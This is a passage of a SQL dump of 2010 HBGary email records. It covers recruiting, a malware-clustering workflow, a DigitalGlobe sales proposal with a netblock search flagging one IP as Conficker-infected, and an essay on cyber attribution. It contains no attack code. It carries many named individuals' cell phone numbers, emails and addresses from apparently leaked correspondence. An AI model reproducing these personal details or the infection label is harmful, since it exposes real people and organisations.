\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer & Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n> From: Aaron Barr \r\n> Date: Tue, 17 Aug 2010 14:38:35 -0400\r\n> To: Tim Riesen \r\n> Subject: \"DHS\" Guy\r\n> \r\n> Hey Tim,\r\n> \r\n> What was that guys name again?\r\n> \r\n> Loved the conversation today.  Always impressed by what you guys are doing on\r\n> the targeting/MOE side.\r\n> \r\n> Aaron\r\n\r\n\r\n',2017,'aaron_hbgary_com/2017.html'),(10482,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008143.M593693P14101Q5337.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Fingerprint','Aaron,\r\n\r\nI spoke with Greg and here is what we came up with.\r\n\r\nWe couldn\'t come up with a good use case for importing all of the Fingerprint data since Palantir doesn\'t really deal with the math or clustering part of the tool.\r\n\r\nProcess:\r\nRun malware through TMC (volume malware processor) to generate Livebins.\r\nrun livebins through Fingerprint to get edge weight values\r\nGraph using yworks\r\nexport to XML label with malware id and cluster id\r\nimport into Palantir only specific clusters and build analysis of that.\r\n\r\nAaron',5817,'aaron_hbgary_com/5817.html'),(10483,'2010-08-17','\"Geneste, Philip [USA]\" <geneste_philip@bah.com>','/aaron@hbgary.com/new/1297008143.M794769P14101Q5338.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nPleasure talking with you today.\r\nAs discussed I will follow up with you in the next few days.\r\n\r\nCheers,\r\n\r\nPhil\r\n\r\n\r\n\r\nPhilip Geneste\r\nBooz | Allen |\r\n\r\n Hamilton\r\n\r\nAssociate\r\n\r\nInformation Security Engineer Sr.&nbsp;/ A&amp;R,\r\n&amp;&nbsp;I/RE\r\nCyber Team\r\n\r\n\r\n\r\n8283 Greensboro Drive\r\nMcLean, VA 22102\r\nOffice: (703)&nbsp;377-4805\r\nCell: (757) 303-9570\r\n\r\n\r\ngeneste_philip@bah.com\r\n\r\n\r\n\r\n',8525,'aaron_hbgary_com/8525.html'),(10484,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008143.M999684P14101Q5339.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Fwd: Introduction','Got one.I spoke with him for a while. &nbsp;I can get him. &nbsp;I won\'t get his resume for a few days, he just came off of vacation.We can put him in the Digital Forensics lead if the incumbent guy doesn\'t come over (whats the story with him, can I talk with him?)If that spot is filled we can use him to fill another.Still working.AaronBegin forwarded message:From: \"Geneste, Philip [USA]\" &lt;geneste_philip@bah.com&gt;Date: August 17, 2010 5:35:35 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Introduction\r\n\r\nAaron,\r\n\r\nPleasure talking with you today.\r\nAs discussed I will follow up with you in the next few days.\r\n\r\nCheers,\r\n\r\nPhil\r\n\r\n\r\nPhilip GenesteBooz | Allen |\r\n Hamilton\r\nAssociate\r\nInformation Security Engineer Sr.&nbsp;/ A&amp;R,&amp;&nbsp;I/RE\r\nCyber Team\r\n\r\n\r\n8283 Greensboro DriveMcLean, VA 22102Office: (703)&nbsp;377-4805Cell: (757) 303-9570\r\ngeneste_philip@bah.com\r\n\r\n\r\n\r\n',14181,'aaron_hbgary_com/14181.html'),(10485,'2010-08-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008144.M213902P14101Q5340.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','Re: GFIRST FGet Announcement for Wedn. Aug. 18th','Booth 7On Aug 17, 2010, at 10:09 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nHi Ted, Can you please send me the HBGary booth # for GFIRST? Thanks, K\r\nOn Mon, Aug 16, 2010 at 6:37 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nHi Ted and Aaron, I wanted to let you know that I am working to secure media briefings for Greg to promote our new freeware tool, FGet, which will be released on Wedn. August 18th. We will be distributing a limited number of copies of the tool on CD at HBGary GFIRST booth -- similar to what we did with Fingerprint.  Do you have the booth # for HBGary at the conference? If so, please send. Thanks, Karen  \r\n\r\n\r\n\r\n',20,'aaron_hbgary_com/20.html'),(10486,'2010-08-17','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008144.M421638P14101Q5341.eml','\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Sanderson, Robert\" <robert.sanderson@telos.com>','Please sned me you fax numbers so that I can send you the Review Comment sheests','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry it is late in the day &#8211; I have been focused on\r\nResumes and Past Performance.\r\n\r\n&nbsp;\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1632,'aaron_hbgary_com/1632.html'),(10487,'2010-08-17','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008144.M631994P14101Q5342.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: I need help','It&#39;s similar to the output I&#39;ve seen before from EndGames.  Yes this is what I expected.On Tue, Aug 17, 2010 at 3:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n \r\nIs this what you would have expected?  Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;\r\n&gt;&gt; That&#39;s great Maria.  Mark and I will do anything we can to help.  As\r\n&gt;&gt; you mentioned, we&#39;re close to the customer, so we could help with&gt;&gt; install, etc..  Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; &gt;\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can&#39;t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes that they are concerned about so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...  Rich mentioned\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don&#39;t understand what is SE and what is Services\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?  They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.  Do they need some Responder Pro\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;\r\n--\r\n\r\n\r\n\r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n  \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6821,'aaron_hbgary_com/6821.html'),(10488,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008144.M971744P14101Q5343.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: I need help','phil,what do you think of Philip Geneste?AaronOn Aug 17, 2010, at 5:56 PM, Phil Wallisch wrote:It\'s similar to the output I\'ve seen before from EndGames.&nbsp; Yes this is what I expected.On Tue, Aug 17, 2010 at 3:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n&nbsp;\r\nIs this what you would have expected?&nbsp; Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep &nbsp;2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;\r\n&gt;&gt; That\'s great Maria. &nbsp;Mark and I will do anything we can to help. &nbsp;As\r\n&gt;&gt; you mentioned, we\'re close to the customer, so we could help with&gt;&gt; install, etc.. &nbsp;Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training&nbsp; / Installation&nbsp; / Server Requirements etc&gt;&gt; &gt;\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can\'t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes&nbsp;that they are concerned about&nbsp;so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...&nbsp; Rich mentioned\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.&nbsp; They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don\'t understand what is SE and what is Services\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?&nbsp; They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.&nbsp; Do they need some Responder Pro\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal&gt;&gt; Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\n\r\n&gt;&gt; www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n&gt;&gt; Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;\r\n--\r\n\r\n\r\n\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n',16686,'aaron_hbgary_com/16686.html'),(10489,'2010-08-17','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008145.M186872P14101Q5344.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: I need help','Big fan of HB.  Not really a malware guy but seems to be a solid security mind.  Nice guy.On Tue, Aug 17, 2010 at 5:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nphil,what do you think of Philip Geneste?\r\nAaronOn Aug 17, 2010, at 5:56 PM, Phil Wallisch wrote:It&#39;s similar to the output I&#39;ve seen before from EndGames.  Yes this is what I expected.\r\nOn Tue, Aug 17, 2010 at 3:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n \r\nIs this what you would have expected?  Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;\r\n\r\n&gt;&gt; That&#39;s great Maria.  Mark and I will do anything we can to help.  As\r\n&gt;&gt; you mentioned, we&#39;re close to the customer, so we could help with&gt;&gt; install, etc..  Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; &gt;\r\n\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can&#39;t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes that they are concerned about so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...  Rich mentioned\r\n\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don&#39;t understand what is SE and what is Services\r\n\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?  They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.  Do they need some Responder Pro\r\n\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n\r\n\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;\r\n\r\n--\r\n\r\n\r\n\r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com \r\n  \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13158,'aaron_hbgary_com/13158.html'),(10490,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008145.M445826P14101Q5345.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: I need help','I just got off the phone with him. &nbsp;I think I may have some sway for him to come lead one of my TSA areas. &nbsp;TSA is not a leading edge SOC/Malware environment, so if he is decent it will be a good fit.Thanks,AaronOn Aug 17, 2010, at 6:04 PM, Phil Wallisch wrote:Big fan of HB.&nbsp; Not really a malware guy but seems to be a solid security mind.&nbsp; Nice guy.On Tue, Aug 17, 2010 at 5:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nphil,what do you think of Philip Geneste?\r\nAaronOn Aug 17, 2010, at 5:56 PM, Phil Wallisch wrote:It\'s similar to the output I\'ve seen before from EndGames.&nbsp; Yes this is what I expected.\r\nOn Tue, Aug 17, 2010 at 3:55 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nPhil\r\n&nbsp;\r\nIs this what you would have expected?&nbsp; Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\n\r\n\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep &nbsp;2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n\r\n\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;\r\n\r\n&gt;&gt; That\'s great Maria. &nbsp;Mark and I will do anything we can to help. &nbsp;As\r\n&gt;&gt; you mentioned, we\'re close to the customer, so we could help with&gt;&gt; install, etc.. &nbsp;Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training&nbsp; / Installation&nbsp; / Server Requirements etc&gt;&gt; &gt;\r\n\r\n\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can\'t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes&nbsp;that they are concerned about&nbsp;so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...&nbsp; Rich mentioned\r\n\r\n\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.&nbsp; They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don\'t understand what is SE and what is Services\r\n\r\n\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?&nbsp; They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.&nbsp; Do they need some Responder Pro\r\n\r\n\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n\r\n\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n\r\n\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal&gt;&gt; Office 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\n\r\n\r\n&gt;&gt; www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\n\r\n&gt;&gt; Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;\r\n\r\n--\r\n\r\n\r\n\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n',5072,'aaron_hbgary_com/5072.html'),(10491,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008146.M892441P14101Q5346.eml','\"Leibner, Lincoln D LTC MIL USA OSA\" <lincoln.leibner@us.army.mil>','Re: Attribution','Lincoln,\r\n\r\nThank you for sending the paper.  One of the best reads I have had related to cybersecurity.  I especially liked the discussions of the new battlespace and deterrence.\r\n\r\nTo this point we have looked long and hard at threat evolution and IT security space.  Cybersecurity through compliance and application of security technology is not achievable.  What is reliable, if improve, is the following model (my assertion anyway).  Better threat models correlating malware, network, C&C, and social date related to threats into visual models (this is what we want to achieve eventually using our Fingerprint tool as a start) that can be used to improve our understanding of threats in context, insert these into the incident handling process so we can use lower skilled people and still achieve higher skilled analysis (we aren\'t going to significantly improve the people problem so need to figure out how to leverage the intelligence of the few across the enterprise - knowledge management, visual cues).  We need more offense, better offense, more pervasive offense, and that information can not be kept behind the door, some bits of that information have to feed the threat intelligence models and those models have to be available to at a minimum the national and service SOCs. (I am hoping this might make for a good JCTD project for next year, have to talk with Irv and Brian).\r\n\r\nThe end results is to improve our ability to respond either offensively or defensively.  If we can greatly improve our ability to respond, even proactively if our threat models are mature enough we can get I&W during the evolution of the attack or prior and take action.  System and mission resiliency through continuous incident response capabilities, there are a few technology types here that assist, such as integration of data leakage prevention and host based heuristic/behavioral analysis.\r\n\r\nThe only pure technologies I find very interesting are encryption, identify management, and hardware based authentication and attestation.  Luckily these technologies are needed for cloud to become pervasive so there is a lot of money I think going into these areas.  If these technologies are implemented pervasively it raises the costs of exploitation.\r\n\r\nAttribution is possible, just needs focus and collaboration.\r\nNear-realtime 